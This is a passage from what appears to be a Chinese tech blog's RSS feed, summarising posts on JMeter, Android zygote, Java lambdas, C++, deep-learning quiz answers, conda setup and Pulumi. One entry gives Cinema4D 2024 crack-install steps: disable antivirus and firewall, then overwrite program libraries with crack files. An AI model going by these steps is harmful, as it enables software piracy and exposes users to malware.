1.在windows上启动jmeter，添加所需的监听器，导入脚本运行产生的log.jtl文件，查看测试结果，(注：察看结果树的请求内无信息，后边宏哥会给出解决方案)，如下图所示：&#xA;从上图可以看出：前边线程组设置的是100，这里的聚合报告的样本也是100，说明没有问题，运行的是宏哥上传的脚本。&#xA;以上，即为在linux环境中运行jmeter脚本，并生成测试报告的的过程，具体操作，请自行实践，本文仅供参考。&#xA;2.4解决结果树查看无请求信息 1.在windows上启动jmeter，添加察看结果树监听器，导入脚本运行产生的log.jtl文件，查看测试结果，发现察看结果树的请求内无信息。如下图所示：&#xA;2.解决linux下运行jmeter脚本，导出的jtl文件，用结果树查看无请求信息问题，解决方法:在linux的jmeter安装目录下bin/user.properties 加入如下参数： jmeter.save.saveservice.output_format=xml jmeter.</description>
    </item>
    <item>
      <title>android frameworks之zygote进程</title>
      <link>https://bchobby.github.io/posts/3fad8ba43ee750eb12370ed5c0d358f3/</link>
      <pubDate>Fri, 06 Oct 2023 16:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fad8ba43ee750eb12370ed5c0d358f3/</guid>
      <description>zygote进程是各个应用进程的鼻祖，每个app的进程是由zygote进程创建出来的，即app进程的父进程为zygote进程。&#xA;在系统启动时，加载bootloader，启动内核，创建init进程，在init进程中，解析init.rc，init.rc包含启动zygote进程的服务，进而启动zygote进程。&#xA;在linux中，进程是由fork()创建的，fork出的子进程除了一些内核的核心数据跟父进程不同外，其余的数据、内存都是和父进程共享的，fork()出的子进程返回值为0，父进程的返回值为父进程的pid&#xA;1、init.rc&#xA;init.rc中是通过import方式引入文件的，引入的文件通过ro.zygote的属性来控制&#xA;\system\core\rootdir\init.rc import /init.${ro.zygote}.rc ro.zygote的属性值可设置的值有：zygote32,zygote32_64,zygote64,zygote64_32，因此在system/core/rootdir/目录下有四个和zygote相关的rc文件&#xA;zygote32：32位模式&#xA;zygote32_64:以32位模式为主，64位模式为辅&#xA;zygote64:64位模式&#xA;zygote64_32:以64位模式为主，32位模式为辅&#xA;zygote32和zygote64一样，只是zygote64执行的是app_process64的进程；zygote32和zygote32_64的区别在宇zygote32_64多了启动zygote_secondary的进程&#xA;init.zytote32.rc&#xA;service zygote /system/bin/app_process -Xzygote /system/bin --zygote --start-system-server class main priority -20 user root group root readproc reserved_disk socket zygote stream 660 root system socket usap_pool_primary stream 660 root system onrestart write /sys/android_power/request_state wake onrestart write /sys/power/state on onrestart restart audioserver onrestart restart cameraserver onrestart restart media onrestart restart netd onrestart restart wificond writepid /dev/cpuset/foreground/tasks init.</description>
    </item>
    <item>
      <title>Lambda表达式特性之延迟执行</title>
      <link>https://bchobby.github.io/posts/ddc63ccec73a6324fc70d92be4d614b1/</link>
      <pubDate>Fri, 06 Oct 2023 11:13:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddc63ccec73a6324fc70d92be4d614b1/</guid>
      <description>一、为什么需要延迟执行 问题引出：有些场景的代码执行后，结果不一定会被使用，从而造成性能浪费。如何解决：Lambda表达式是可以延迟执行的，这正好可以作为解决方案，提升性能。&#xA;二、延迟执行造成的性能浪费的案例 典型的场景：就是对参数进行有条件使用，例如对日志消息进行拼接后，在满足条件的情况下进行打印输出： public class LoggerDemo { private static void log(int level, String msg) { //条件判断 if (level == 1) { System.out.println(msg); } } public static void main(String[] args) { String msgA = &#34;Hello&#34;; String msgB = &#34;World&#34;; String msgC = &#34;Java&#34;; //方法调用，必须提前拼接字符串造成性能浪费 log(1, msgA + msgB + msgC); } } 问题说明：这段代码存在问题，无论级别level是否满足要求，log 方法的第二个参数，也就是**三个字符串(msgA + msgB + msgC)**无论如何一定先会被拼接，然后再传入方法内进行级别判断if (level == 1)。问题进一步分类分析：&#xA;a.如果判断通过，那么好，这种情况不会对性能产生影响；&#xA;b.如果判断不通过，那么我们之前在传入参数时进行三个字符串 (msgA + msgB + msgC)的操作不就是白做了吗，因为又不需要打印，那么用在拼接字符串上的时间不就等于白白浪费了，也就造成了性能浪费。问题解决：那么如何不浪费这些性能呢？于是lambda表达式挺身而出，来拯救这些不应该被浪费的性能。&#xA;三、使用lambda表达式进行优化（延迟执行） 情况一：未使用lambda表达式的情况</description>
    </item>
    <item>
      <title>Cinema4D 2024软件详细安装教程&#43;官方中文正版安装包（永久使用）</title>
      <link>https://bchobby.github.io/posts/fea3ed5431fd8e17711b9a66d2ddd6b3/</link>
      <pubDate>Thu, 05 Oct 2023 17:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fea3ed5431fd8e17711b9a66d2ddd6b3/</guid>
      <description>安装步骤&#xA;1软件安装包下载解压打开（下载软件安装包之前务必将杀毒软件以及防火墙关闭，避免将破解补丁或注册机删除）&#xA;(图 1)&#xA;将软件安装包下载到电脑本地之后，选择安装包鼠标右键进行使用解压工具解压（注意：如果解压需要解压码的话，请换一个解压工具解压即可，无压缩密码）&#xA;2运行安装程序&#xA;(图 2)&#xA;选择安装程序Cinema4D_2024_2024.0.0_Win.exe，鼠标右键以管理员身份运行&#xA;3欢迎使用安装向导&#xA;(图 3)&#xA;欢迎使用安装向导，点击前进&#xA;4更改安装位置&#xA;(图 4)&#xA;更改安装位置，直接在路径上更改或者点击文件夹图标进去更改（注意：更改安装位置不能带有中文或者特殊符号），然后点击前进&#xA;5安装准备完毕&#xA;(图 5)&#xA;安装准备完毕，点击前进&#xA;6软件正在安装中&#xA;(图 6)&#xA;软件正在安装中，请耐心等候安装成功&#xA;7软件安装成功&#xA;(图 7)&#xA;软件安装成功，将启动的选项取消勾选，然后点击完成&#xA;8在电脑左下角开始菜单里面找到Maxon Cinema 4D 2024打开文件位置&#xA;(图 8)&#xA;在电脑左下角开始菜单里面找到Maxon Cinema 4D 2024，鼠标右键更多-打开文件位置&#xA;9继续打开Maxon Cinema 4D 2024所在位置&#xA;(图 9)&#xA;选择Maxon Cinema 4D 2024，继续鼠标右键打开文件所在的位置进入安装目录&#xA;10替换安装目录corelibs文件夹文件&#xA;(图 10)&#xA;将替换文件C4D 2024.0.0文件夹的破解文件全部复制到刚才打开的安装目录的corelibs下替换&#xA;11双击运行安装包的Maxon_App_2024.0.0_Win.exe应用程序&#xA;(图 11)&#xA;双击运行安装包的Maxon_App_2024.0.0_Win.exe应用程序&#xA;12Maxon App 2024.0.0 安装&#xA;(图 12)&#xA;Maxon App 2024.0.0 安装，点击Install&#xA;13正在安装中</description>
    </item>
    <item>
      <title>海洋数据资源</title>
      <link>https://bchobby.github.io/posts/b0c5f3b62f3b3fc0c08acd789a84f8de/</link>
      <pubDate>Thu, 05 Oct 2023 16:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0c5f3b62f3b3fc0c08acd789a84f8de/</guid>
      <description> 数据库网址Global Colour 水色及光学参数https://hermes.acri.fr/index.phpOC CCIhttps://www.oceancolour.org/OC CCIhttps://www.oceancolour.org/thredds/catalog-cci.html?dataset=CCI_CHL-v3.1-Geographic-1kmArgo混合层深度数据http://mixedlayer.ucsd.edu/OA-Flux海洋大气耦合https://oaflux.whoi.edu/WOA 温盐MLD气候态https://www.ncei.noaa.gov/products/world-ocean-atlasNOAA NAOIhttp://www.cpc.ncep.noaa.gov/data/teledoc/telecontents.shtmlCALIPSOhttps://search.earthdata.nasa.gov/search?fdc=Atmospheric%20Science%20Data%20Center%20(ASDC) https://asdc.larc.nasa.gov/data/CALIPSO/LID_L1-Standard-V4-10/RSS红外微波ftp.remss.com/https://www.remss.com/Hycome UVhttp://ncss.hycom.org/thredds/ncss/grid/GLBu0.08/expt_19.1/2012/dataset.htmlNOAA OISSThttps://www.esrl.noaa.gov/psd/data/gridded/data.noaa.oisst.v2.highres.htmlOSTIAhttp://ghrsst-pp.metoffice.com/pages/latest_analysis/ostia.htmlOSTIAftp://podaac.jpl.nasa.gov/GHRSST/data/L4/GLOB/UKMO/OSTIA碳和叶绿素http://satellite.nsmc.org.cn/portalsite/default.aspx碳和叶绿素https://www.socat.info/碳和叶绿素https://oceandata.sci.gsfc.nasa.gov/CRAS数据https://www.marine.csiro.au/~dunn/cars2009/index.html </description>
    </item>
    <item>
      <title>Fushion 360齿轮组制作教程</title>
      <link>https://bchobby.github.io/posts/70ae159c474d89e80acec0c85bbc3653/</link>
      <pubDate>Thu, 05 Oct 2023 13:03:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70ae159c474d89e80acec0c85bbc3653/</guid>
      <description> 本教程总结 Kevin小哥的教程，原视频教程点击这里，笔者录制的教程视频见fushion 360齿轮制作&#xA;Fushion 360齿轮组制作教程 基本步骤添加齿轮工具相关设置绘制底板创建演示动画掏空较大的齿轮 视频教程及成品展示 基本步骤 添加齿轮工具 选择使用工具，选择添加附件，选择SpurGear，选择运行即可。&#xA;选择实体，即可看到齿轮工具&#xA;相关设置 使用快捷键s查找spurgear，调出工具设置页面，选择如下参数&#xA;新建第一个齿轮，其中Module与Number of Teeth 共同决定你齿轮的大小&#xA;新建第二个齿轮&#xA;选择较小的齿轮，X轴移动32+16，然后选择11.3度即可得到如下所示的结构&#xA;绘制底板 选择底面，绘制绘制草图，绘制比齿轮较大的两个圆，然后做两个圆的切线，向下偏移选3，厚度选3mm的一个底板。做底面的投影，以圆心为投影，向内偏移0.2mm，然后做向上做10mm的圆柱，在向外偏移分别根据大小齿轮，选择10mm，5mm&#xA;创建演示动画 选择装配，快速连接，将圆柱与各自对应的齿轮连接在一起，然后建立运动链接，设置如下；&#xA;演示效果如下所示：&#xA;掏空较大的齿轮 视频教程及成品展示 </description>
    </item>
    <item>
      <title>【C&#43;&#43;】类②</title>
      <link>https://bchobby.github.io/posts/882d21d65ad79e9936f829f6e14a66b4/</link>
      <pubDate>Wed, 04 Oct 2023 22:04:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/882d21d65ad79e9936f829f6e14a66b4/</guid>
      <description>一、类访问修饰符 public(公有)： 类的内部和类的外部都能访问共有成员 private(私有)：只有类的内部和类外的友元函数可以访问私有成员 protected(受保护)：类的内部和类外的友元函数可以访问受保护成员，并且受保护成员在派生类（即子类）中是可访问的 二、构造函数与析构函数 1. 类的 构造函数 是类的一种特殊的成员函数，它会在每次创建类的新对象时执行&#xA;构造函数可用于为某些成员变量设置初始值&#xA;它与普通的成员函数在形式上有两个区别：构造函数的名称与类的名称是完全相同的，并且不会返回任何类型，也不会返回 void 注：构造函数可以带有参数&#xA;class student { int score; student(); }; student::student() { cout&amp;lt;&amp;lt;score; } 2. 类的 析构函数 是类的一种特殊的成员函数，它会在每次删除所创建的对象时执行&#xA;析构函数有助于在跳出程序（比如关闭文件、释放内存等）前释放资源&#xA;它与普通的成员函数在形式上有三个区别：析构函数的名称与类的名称是完全相同的，它不会返回任何值，只是在前面加了个波浪号（~）作为前缀&#xA;注：析构函数不能带有任何参数&#xA;class student { int score; ~student(); }; student::~student() { cout&amp;lt;&amp;lt;score; } 3. 拷贝构造函数&#xA;拷贝构造函数是一种特殊的构造函数，它在创建对象时，是使用同一类中之前创建的对象来初始化新创建的对象。拷贝构造函数通常用于：&#xA;通过使用另一个同类型的对象来初始化新创建的对象。&#xA;复制对象把它作为参数传递给函数。&#xA;复制对象，并从函数返回这个对象。&#xA;如果在类中没有定义拷贝构造函数，编译器会自行定义一个。如果类带有指针变量，并有动态内存分配，则它必须有一个拷贝构造函数&#xA;拷贝构造函数在类内的声明：classname (const classname &amp;amp;obj)；&#xA;拷贝构造函数在类外的定义：classname::classname (const classname &amp;amp;obj) { 拷贝构造函数的主体 }&#xA;4. 总结&#xA;类中的成员函数有三种：&#xA;a.普通函数b.构造函数c.拷贝构造函数d.析构函数 而每种成员函数都有两种定义方法：&#xA;a.在类内声明函数，在类外定义函数b.直接在类内定义函数 三、友元函数 友元函数既可以是不属于任何类的非成员函数，也可以是另一个类的成员函数。友元函数不是当前类的成员函数，但它可以访问该类的所有成员，包括私有成员、保护成员和公有成员。</description>
    </item>
    <item>
      <title>sheng的学习笔记-【中文】【吴恩达课后测验】Course 2 - 改善深层神经网络 - 第二周测验</title>
      <link>https://bchobby.github.io/posts/ede8ce94a403766b825b4c379f1646eb/</link>
      <pubDate>Wed, 04 Oct 2023 19:28:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ede8ce94a403766b825b4c379f1646eb/</guid>
      <description>课程2_第2周_测验题 目录：目录&#xA;第一题 1.当输入从第8个mini-batch的第7个的例子的时候，你会用哪种符号表示第3层的激活？&#xA;A. 【 】 a [ 3 ] { 8 } ( 7 ) a^{[3]\{8\}(7)} a[3]{8}(7)&#xA;B. 【 】 a [ 8 ] { 7 } ( 3 ) a^{[8]\{7\}(3)} a[8]{7}(3)&#xA;C. 【 】 a [ 8 ] { 3 } ( 7 ) a^{[8]\{3\}(7)} a[8]{3}(7)&#xA;D. 【 】 a [ 3 ] { 7 } ( 8 ) a^{[3]\{7\}(8)} a[3]{7}(8)&#xA;答案：&#xA;A.【 √ 】 a [ 3 ] { 8 } ( 7 ) a^{[3]\{8\}(7)} a[3]{8}(7)</description>
    </item>
    <item>
      <title>sheng的学习笔记-【中英】【吴恩达课后测验】Course 1 - 神经网络和深度学习 - 第四周测验</title>
      <link>https://bchobby.github.io/posts/c9a8e54c794970900d3b4c24ec9c975a/</link>
      <pubDate>Wed, 04 Oct 2023 19:17:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9a8e54c794970900d3b4c24ec9c975a/</guid>
      <description>课程1_第4周_测验题 目录：目录&#xA;第一题 1.在我们的前向传播和后向传播实现中使用的 “缓存” 是什么？&#xA;A. 【 】它用于在训练期间缓存成本函数的中间值。&#xA;B. 【 】我们用它将在正向传播过程中计算的变量传递到相应的反向传播步骤。它包含了反向传播计算导数的有用值。&#xA;C. 【 】它用于跟踪我们正在搜索的超参数，以加快计算速度。&#xA;D. 【 】我们用它将反向传播过程中计算的变量传递到相应的正向传播步骤。它包含用于计算正向传播的激活的有用值。&#xA;答案：&#xA;B.【 √ 】我们用它传递前向传播中计算的变量到相应的反向传播步骤，它包含用于计算导数的反向传播的有用值。&#xA;note：“cache” 记录来自正向传播单元的值并将其发送到反向传播单元，因为需要链式计算导数。&#xA;第二题 2.以下哪些是“超参数”？(选出所有正确项)&#xA;A. 【 】隐藏层规模 n [ l ] n^{[l]} n[l]&#xA;B. 【 】神经网络的层数 L L L&#xA;C. 【 】激活向量 a [ l ] a^{[l]} a[l]&#xA;D. 【 】权重矩阵 W [ l ] W^{[l]} W[l]&#xA;E. 【 】学习率 α \alpha α&#xA;F. 【 】迭代次数&#xA;G. 【 】偏置向量 b [ l ] b^{[l]} b[l]</description>
    </item>
    <item>
      <title>sheng的学习笔记-【中文】【吴恩达课后测验】Course 1 - 神经网络和深度学习 - 第三周测验</title>
      <link>https://bchobby.github.io/posts/72b86e410c16975c80aadb70eac197ba/</link>
      <pubDate>Wed, 04 Oct 2023 19:14:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72b86e410c16975c80aadb70eac197ba/</guid>
      <description>课程1_第3周_测验题 目录：目录&#xA;第一题 1.以下哪一项是正确的？&#xA;A. 【 】 a [ 2 ] ( 12 ) a^{[2](12)} a[2](12)是第12层，第2个训练数据的激活向量。&#xA;B. 【 】X是一个矩阵，其中每个列都是一个训练示例。&#xA;C. 【 】 a 4 [ 2 ] a^{[2]}_4 a4[2]​ 是第2层，第4个训练数据的激活输出。&#xA;D. 【 】 a 4 [ 2 ] a^{[2]}_4 a4[2]​ 是第2层，第4个神经元的激活输出。&#xA;E. 【 】 a [ 2 ] a^{[2]} a[2] 表示第2层的激活向量。&#xA;F. 【 】 a [ 2 ] ( 12 ) a^{[2](12)} a[2](12)是第2层，第12个数据的激活向量。&#xA;G. 【 】 X X X是一个矩阵，其中每个行是一个训练数据。</description>
    </item>
    <item>
      <title>JMM &amp; JVM &amp; 垃圾回收</title>
      <link>https://bchobby.github.io/posts/5804b902fcdac476115e0f23ee6ac44f/</link>
      <pubDate>Wed, 04 Oct 2023 17:10:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5804b902fcdac476115e0f23ee6ac44f/</guid>
      <description>目录&#xA;一、JMM内存模型 1、定义&#xA;2、JMM的三大特性(可见性+原子性+有序性)&#xA;2.1 可见性&#xA;2.2 原子性&#xA;2.3 有序性&#xA;3、JMM中的8种原子操作&#xA;二、JVM&#xA;1、JVM体系结构（类加载子系统+运行时数据区+执行引擎）&#xA;1.1 类装载子系统&#xA;（1）类加载器(ClassLoader)&#xA;（2）JVM类加载机制(全盘负责+父类委托+双亲委派模型)&#xA;1.2 运行时数据区&#xA;（1）方法区&#xA;（2）Java堆&#xA;（3）JVM栈&#xA;（4）本地方法栈&#xA;（5）程序计数器&#xA;1.3 字节码执行引擎&#xA;2、JVM参数调优&#xA;2.1 三大参数类型&#xA;2.2 九个调优参数&#xA;三、垃圾回收器&#xA;1、GCRoot和可达性分析&#xA;1.1 垃圾：内存中已经不再被使用的空间1.2 如何判断垃圾(引用计数法、可达性分析)&#xA;2、4种GC算法(引用计数 /复制拷贝/标记清除/标记整理)&#xA;3、4种垃圾回收器&#xA;3.1 主要4个(Serial / Parallel / CMS / G1)&#xA;3.2 其它3个(ParNew / ParallelOld / SerialOld)&#xA;4、使用范围&#xA;本文通过学习：周阳老师-尚硅谷Java大厂面试题第二季 总结的JMM,JVM,GC垃圾回收相关的笔记&#xA;一、JMM内存模型 1、定义 JMM是Java内存模型，也就是Java Memory Model，简称JMM，本身是一种抽象的概念，实际上并不存在，它描述的是一组规则或规范，通过这组规范定义了程序中各个变量（包括实例字段，静态字段和构成数组对象的元素）的访问方式&#xA;JMM关于同步的规定：&#xA;（1）线程解锁前，必须把共享变量的值刷新回主内存&#xA;（2）线程解锁前，必须读取主内存的最新值，到自己的工作内存&#xA;（3）加锁和解锁是同一把锁&#xA;主内存计算机的内存，也就是经常提到的8G内存，16G内存工作内存实例化 new student，那么 age = 25 也是存储在主内存中。当同时有三个线程同时访问 student中的age变量时，那么每个线程都会拷贝一份，到各自的工作内存，从而实现了变量的拷贝 2、JMM的三大特性(可见性+原子性+有序性) 2.</description>
    </item>
    <item>
      <title>使用Anaconda创建Python虚拟环境并在Pycharm项目中调用该环境</title>
      <link>https://bchobby.github.io/posts/d7b829619e01a16dee1736d10f3e109f/</link>
      <pubDate>Wed, 04 Oct 2023 17:08:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7b829619e01a16dee1736d10f3e109f/</guid>
      <description>一、使用Anaconda创建Python虚拟环境 1.使用cmd创建虚拟环境&#xA;在cmd中输入命令：&#xA;conda create -n your_env_name python=3.7 其中：your_env_name为要创建的虚拟环境名，python=3.7为指定python版本为3.7，不加则默认为 Anaconda 的 python 版本&#xA;输入命令后，需要输入一个y并回车。输入完成后，一个python虚拟环境就创建好了。&#xA;2.查看虚拟环境&#xA;有时候我们需要查看我们的虚拟环境，可以在 cmd 里面输入：&#xA;conda env list 就可以查看所有的python虚拟环境了。&#xA;如下图所示，目前共有两个虚拟环境&#xA;*号表示目前所处的环境位置&#xA;3.激活虚拟环境&#xA;如果想要使用你所创建的python虚拟环境，首先就要激活你想用的虚拟环境&#xA;激活虚拟环境的命令：&#xA;conda activate your_env_name 可以看到，在激活虚拟环境temperature_change之后，在cmd的前面会显示所激活虚拟环境的名称。&#xA;注意：首次使用conda activate temperature_change激活虚拟环境时报错&#xA;提示：IMPORTANT: You may need to close and restart your shell after running &#39;conda init&#39;.&#xA;原因：当前使用的 shell 没有配置好 conda activate，需要运行 conda init 初始化 shell&#xA;解决方法：根据提示运行conda init，重启shell后即可正常使用conda activate激活虚拟环境的指令&#xA;4.为虚拟环境安装包&#xA;可以看到，在新建虚拟环境后，一个包都没有。那怎么去安装包呢？&#xA;这里提供两种方法：&#xA;(1)激活了虚拟环境&#xA;如果激活了虚拟环境，使用 pip install xxx 或 conda install xxx ，就可以安装包了。</description>
    </item>
    <item>
      <title>C&#43;&#43;快读和快写</title>
      <link>https://bchobby.github.io/posts/5f3c24e172644a2a4a7a25d8f69e6923/</link>
      <pubDate>Wed, 04 Oct 2023 14:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f3c24e172644a2a4a7a25d8f69e6923/</guid>
      <description>前言 虽然读入优化好像用处不大，但是还是能够在读入数据规模较大的时候提供较大的优化，比如：&#xA;用cin输出2000个100000000&#xA;用快输输出2000个100000000&#xA;单位都是毫秒。可以直观的发现，用快输的话输出时间优化了很多，那么快读是如何做到这样的呢？&#xA;原理 众所周知，在c++中，用putchar和getchar输入输出字符的速度是很快的，因此，我们可以考虑把数字转化为字符，按位输出；把字符读入后转化为数字的每一位。&#xA;快读 普通快读： 可以读入任意整数类型的变量&#xA;template&amp;lt;typename T&amp;gt;inline void readT(T &amp;amp;x){ bool f=1;x=0;char ch=getchar(); while(ch&amp;lt;&#39;0&#39;||ch&amp;gt;&#39;9&#39;){if(ch==&#39;-&#39;) f=!f;ch=getchar();} while(ch&amp;gt;=&#39;0&#39;&amp;amp;&amp;amp;ch&amp;lt;=&#39;9&#39;){x=(x&amp;lt;&amp;lt;1)+(x&amp;lt;&amp;lt;3)+(ch^48);ch=getchar();} x=(f?x:-x);return; } 读入__int128： __int128只能用快读读入&#xA;inline void read128(__int128 &amp;amp;x){ bool f=1;x=0;char ch=getchar(); while(ch&amp;lt;&#39;0&#39;||ch&amp;gt;&#39;9&#39;){if(ch==&#39;-&#39;) f=!f;ch=getchar();} while(ch&amp;gt;=&#39;0&#39;&amp;amp;&amp;amp;ch&amp;lt;=&#39;9&#39;){x=(x&amp;lt;&amp;lt;1)+(x&amp;lt;&amp;lt;3)+(ch^48);ch=getchar();} x=(f?x:-x);return; } 超级快读： 经实测，只能读入整数&#xA;char buf[1&amp;lt;&amp;lt;20],*p1,*p2; #define getchar() (p1 == p2 &amp;amp;&amp;amp; (p2 = (p1 = buf) + fread(buf,1,1&amp;lt;&amp;lt;20,stdin), p1 == p2) ? 0 : *p1++) template&amp;lt;typename T&amp;gt;inline void readT(T &amp;amp;x){ bool f=1;x=0;char ch=getchar(); while(ch&amp;lt;&#39;0&#39;||ch&amp;gt;&#39;9&#39;){if(ch==&#39;-&#39;) f=!</description>
    </item>
    <item>
      <title>实现 Windows 系统定时关机或重启</title>
      <link>https://bchobby.github.io/posts/aab3a04ce4c749e9551d5c037e17c5c3/</link>
      <pubDate>Wed, 04 Oct 2023 10:47:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aab3a04ce4c749e9551d5c037e17c5c3/</guid>
      <description>需求 1. 下载大量内容需要挂机？想要下载完成后自动关机？&#xA;2. 想要电脑长期运行后自动重启？&#xA;3. 亦或是有其他原因需要让你的 Windows 电脑定时关机或重启？&#xA;教程 实现原理：利用 bat 脚本进行处理&#xA;具体步骤：&#xA;1. 在桌面新建一个TXT文本文件&#xA;2. 双击打开，然后将本文章底部的&#34;源码&#34;的内容全部复制并粘贴进去&#xA;3. 点击左上角的&#34;文件&#34;，然后点击&#34;另存为&#34;&#xA;4. 在弹出的框中，编码处选择：ANSI（注意: 不要使用其他编码，否则会出现乱码的情况）&#xA;5. 文件名随意，本文使用：shutdown 。在选择好保存的位置后，点击保存即可&#xA;6. 保存后，会出现一个名为：shutdown.txt 的文本文件&#xA;7. 修改该文件的后缀名为 bat，即：将该文件的名字改为：shutdown.bat&#xA;8. 当提示警告时，点击确认修改即可&#xA;8. 双击即可运行&#xA;9. 教程结束&#xA;源码 @echo off rem 以管理员的身份运行该脚本 &amp;gt;nul 2&amp;gt;&amp;amp;1 &#34;%SYSTEMROOT%\system32\cacls.exe&#34; &#34;%SYSTEMROOT%\system32\config\system&#34; if &#39;%errorlevel%&#39; NEQ &#39;0&#39; ( goto UACPrompt ) else ( goto gotAdmin ) :UACPrompt echo Set UAC = CreateObject^(&#34;Shell.Application&#34;^) &amp;gt; &#34;%temp%\getadmin.vbs&#34; echo UAC.</description>
    </item>
    <item>
      <title>shell获取应用程序和函数的返回值</title>
      <link>https://bchobby.github.io/posts/d0dc91f42d78f88de1d21746bc7a3c14/</link>
      <pubDate>Wed, 04 Oct 2023 07:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0dc91f42d78f88de1d21746bc7a3c14/</guid>
      <description>文章目录 获取应用程序的返回值：获取函数的返回值： Shell脚本中，你可以使用特殊变量 $? 来获取上一个命令的返回值。这个变量将包含上一个命令的退出状态码。&#xA;下面是一些示例：&#xA;获取应用程序的返回值： # 运行应用程序 ./my_application # 获取应用程序的返回值 return_value=$? # 打印返回值 echo &#34;应用程序的返回值是：$return_value&#34; 获取函数的返回值： # 定义函数 my_function() { # 在此处执行一些操作 # ... return 5 # 返回值为5 } # 调用函数 my_function # 获取函数的返回值 return_value=$? # 打印返回值 echo &#34;函数的返回值是：$return_value&#34; 在上述示例中，return_value 变量将包含应用程序或函数的返回值。你可以根据需要对其进行进一步处理或打印出来。请注意，$? 变量将获取上一个命令的返回值，因此请确保在获取返回值之前只运行你想要监视的命令或函数</description>
    </item>
    <item>
      <title>React Native 中实现打字机效果</title>
      <link>https://bchobby.github.io/posts/dbdd9c9057105256f0b6e31b3d193978/</link>
      <pubDate>Wed, 04 Oct 2023 03:52:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbdd9c9057105256f0b6e31b3d193978/</guid>
      <description>直接运行即可&#xA;import React, { Component } from &#39;react&#39;; import { View, Text, StyleSheet } from &#39;react-native&#39;; export default class TypewriterText extends Component { constructor(props) { super(props); this.state = { text: &#39;&#39;, }; } componentDidMount() { this.getUrlsFromApi(); } getUrlsFromApi() { // 假设这里从后端接口获取URLs的数据，并模拟一个异步请求 fetch(&#39;https://api.test.com/frontapi/get_app_list&#39;) .then((response) =&amp;gt; response.json()) .then((data) =&amp;gt; { // 假设这里获取到了URLs的数据，将 &#34;Data initialization successful&#34; 作为文字内容 const successText = &#39;Data initialization successful&#39;; let currentText = &#39;&#39;; let currentIndex = 0; const typeNextLetter = () =&amp;gt; { if (currentIndex &amp;lt; successText.</description>
    </item>
    <item>
      <title>Pulumi对比terraform管理cloud公有云总结</title>
      <link>https://bchobby.github.io/posts/d6aa8913fb5aa530475ec9f30c49a330/</link>
      <pubDate>Tue, 03 Oct 2023 23:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6aa8913fb5aa530475ec9f30c49a330/</guid>
      <description>Pulumi 用Pulumi实现IAAS，管理公有云资源，实际生产环境下，难免手动对公有云资源手动增删改，导致实际资源与Pulumi code和state file不一致，以下介绍不一致的情况下如何处理，以及相比于Terraform管理公有云资源有何异同和优势。&#xA;azure portal上，手动改变vm size大小，由Dv2扩为Dv3 pulumi code和state file不做update，运行pulumi apply后，没有change发生；改变pulumi代码中的vm size，由Dv2改为Dv3。此时pulumi code和实际的资源都是Dv3，,Pulumi state file仍然是Dv2，此时运行pulumi up，state file会同步为Dv3，“三方”状态保持一致；假设此时pulumi code中的size假设改为Dav4，实际vm size是手动更为为Dv3，state file仍然是Dv2。三方都不一样，此时pulumi up，azure 中的 vms size和state file中的size都会被updated和code中的size保持一致，以code为准。&#xA;通过以上可以说明，被pulumi管理的资源，手动更改某些配置后，然后同步pulumi 代码，不会出现把旧的删除，然后再添加新的情况，这点要比tf好。 手动删除Azure vm pulumi code和state file不做update，运行pulumi apply后，没有change发生；删除code中对应vm资源，同步代码，运行pulumi apply后，资源自动同步； 手动增加Azure vm pulumi code和state file不做update，运行pulumi apply后，没有change发生，即新添加的资源不受pulumi管理如果需要纳入到pulumi来管理，直接用pulumi import同步state file文件和实际资源一致即可，此处和terraform import类似，同步完state file后，还需要在pulumi code中加入相应资源，如下例子，手动建了一个Azure resource group后：&#xA;2.1. 导入资源同步state file# pulumi import command 导入azure资源组，以下以导入Azure resource group资源为例 pulumi import azure-native:resources:ResourceGroup Pulumi-Test /subscriptions/67aa02ec-a43c-4b62-808a-12113f131ee8/resourceGroups/Pulumi-Test # terraform import command 以下以添加一个GCP instance 为例，对比pulumi import terraform import &#39;google_compute_instance.</description>
    </item>
    <item>
      <title>anaconda安装&#43;创建python3.7&#43;安装pytorch1.7</title>
      <link>https://bchobby.github.io/posts/f9eaeabb613d9c274d486beeb43ff9ff/</link>
      <pubDate>Tue, 03 Oct 2023 19:56:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9eaeabb613d9c274d486beeb43ff9ff/</guid>
      <description> 1、安装anaconda&#xA;1.1 我们需要首先赋权再执行安装程序，依次输入下面两句命令:&#xA;chmod +x Anaconda3-5.3.0-Linux-x86_64.sh&#xA;./Anaconda3-5.3.0-Linux-x86_64.sh&#xA;然后出现下面图所示:&#xA;1.2 此时显示Anaconda的信息，并且会出现More，继续按Enter，直到如下图所示 输入 yes, 继续往后输入安装位置，若是默认位置直接按回车:&#xA;1.3 添加环境变量 输入yes&#xA;2、创建环境&#xA;先测试conda是否安装成功,输入以下命令显示base conda环境&#xA;conda env list 创建新的python3.7环境&#xA;conda create -n py3.7-torch1.7 python=3.7 3、安装pytorch1.7 (参考：)&#xA;pip install torch1.7.1+cu110 torchvision0.8.2+cu110 torchaudio==0.7.2 -f https://download.pytorch.org/whl/torch_stable.html&#xA;参考：https://pytorch.org/get-started/previous-versions/ （官方）&#xA;https://blog.csdn.net/wyf2017/article/details/118676765&#xA;https://blog.csdn.net/yup1212/article/details/124277058（不同版本参考）&#xA;另：安装pytorch1.9(使用国内镜像更快)&#xA;pip install torch==1.9.1+cu111 torchvision==0.10.1+cu111 torchaudio==0.9.1 -f https://download.pytorch.org/whl/torch_stable.html -i https://pypi.douban.com/simple/ </description>
    </item>
    <item>
      <title>vue 路由判断</title>
      <link>https://bchobby.github.io/posts/e4cb148c539f95862ca05acccaee9c32/</link>
